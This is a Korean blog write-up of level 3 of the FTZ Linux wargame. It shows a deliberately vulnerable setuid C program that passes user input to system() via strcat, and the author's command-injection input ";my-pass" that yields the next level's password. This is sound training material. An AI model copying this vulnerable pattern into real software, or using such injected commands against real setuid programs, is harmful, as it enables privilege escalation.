사자자리

[리눅스 기초] F.T.Z Level 3 본문

LINUX 기초/FTZ

[리눅스 기초] F.T.Z Level 3

renne 2022. 6. 18. 22:37
[level3@ftz level3]$ ls -al
total 80
drwxr-xr-x    4 root     level3       4096 May  7  2002 .
drwxr-xr-x   34 root     root         4096 Sep 10  2011 ..
-rw-------    1 root     root            1 Jan 15  2010 .bash_history
-rw-r--r--    1 root     root           24 Feb 24  2002 .bash_logout
-rw-r--r--    1 root     root          224 Feb 24  2002 .bash_profile
-rw-r--r--    1 root     root          151 Feb 24  2002 .bashrc
-rw-r--r--    1 root     root          400 Sep 24  2000 .cshrc
-rw-r--r--    1 root     root         4742 Sep 24  2000 .emacs
-r--r--r--    1 root     root          319 Sep 24  2000 .gtkrc
-rw-r--r--    1 root     root          100 Sep 24  2000 .gvimrc
-rw-r--r--    1 root     root          543 Nov 26  2000 hint
-rw-r--r--    1 root     root          226 Sep 24  2000 .muttrc
-rw-r--r--    1 root     root          367 Sep 24  2000 .profile
drwxr-xr-x    2 root     level3       4096 Feb 24  2002 public_html
drwxrwxr-x    2 root     level3       4096 Jan 15  2009 tmp
-rw-r--r--    1 root     root            1 May  7  2002 .viminfo
-rw-r--r--    1 root     root         4145 Sep 24  2000 .vimrc
-rw-r--r--    1 root     root          245 Sep 24  2000 .Xdefaults

ls -al 명령을 통해 hint 파일을 찾았다.

 

[level3@ftz level3]$ cat hint


다음 코드는 autodig의 소스이다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv){

    char cmd[100];

    if( argc!=2 ){
        printf( "Auto Digger Version 0.9\n" );
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }

    strcpy( cmd, "dig @" );
    strcat( cmd, argv[1] );
    strcat( cmd, " version.bind chaos txt");

    system( cmd );

}

이를 이용하여 level4의 권한을 얻어라.

more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?

 

[level3@ftz level3]$ find / -user level4 -perm -4000 2>/dev/null
/bin/autodig

일단, setuid가 걸린 파일을 찾았더니 autodig가 나왔다.

 

[level3@ftz level3]$ cd /bin
[level3@ftz bin]$ ./autodig
Auto Digger Version 0.9
Usage : ./autodig host

bin 디렉토리로 이동하고 그냥 autodig를 실행시켰더니, 힌트에서 봤던 if (argc != 2)의 내용이 출력됐다. argc는 명령인수의 개수인데,  if (argc != 2)인걸 보니 명령을 2개 입력해야 autodig가 위와 같은 출력을 하지 않고 우리가 원하는 대로 기능할 것 같다. more hints의 내용을 보니, 동시에 여러 명령어를 문자열의 형태로 전달하라고 한다. 필요한 명령은 my-pass뿐이다.

 

[level3@ftz bin]$ ./autodig ";my-pass"
dig: Couldn't find server '': Name or service not known

Level4 Password is "suck my brain".

첫 번째 명령은 그냥 쓰지 않았고, 두 번째 명령을 my-pass로 입력했다. 당연히 첫 번째 명령은 제대로 실행되지 않았고, 두 번째 명령인 my-pass에서 비밀번호를 얻을 수 있었다.

Comments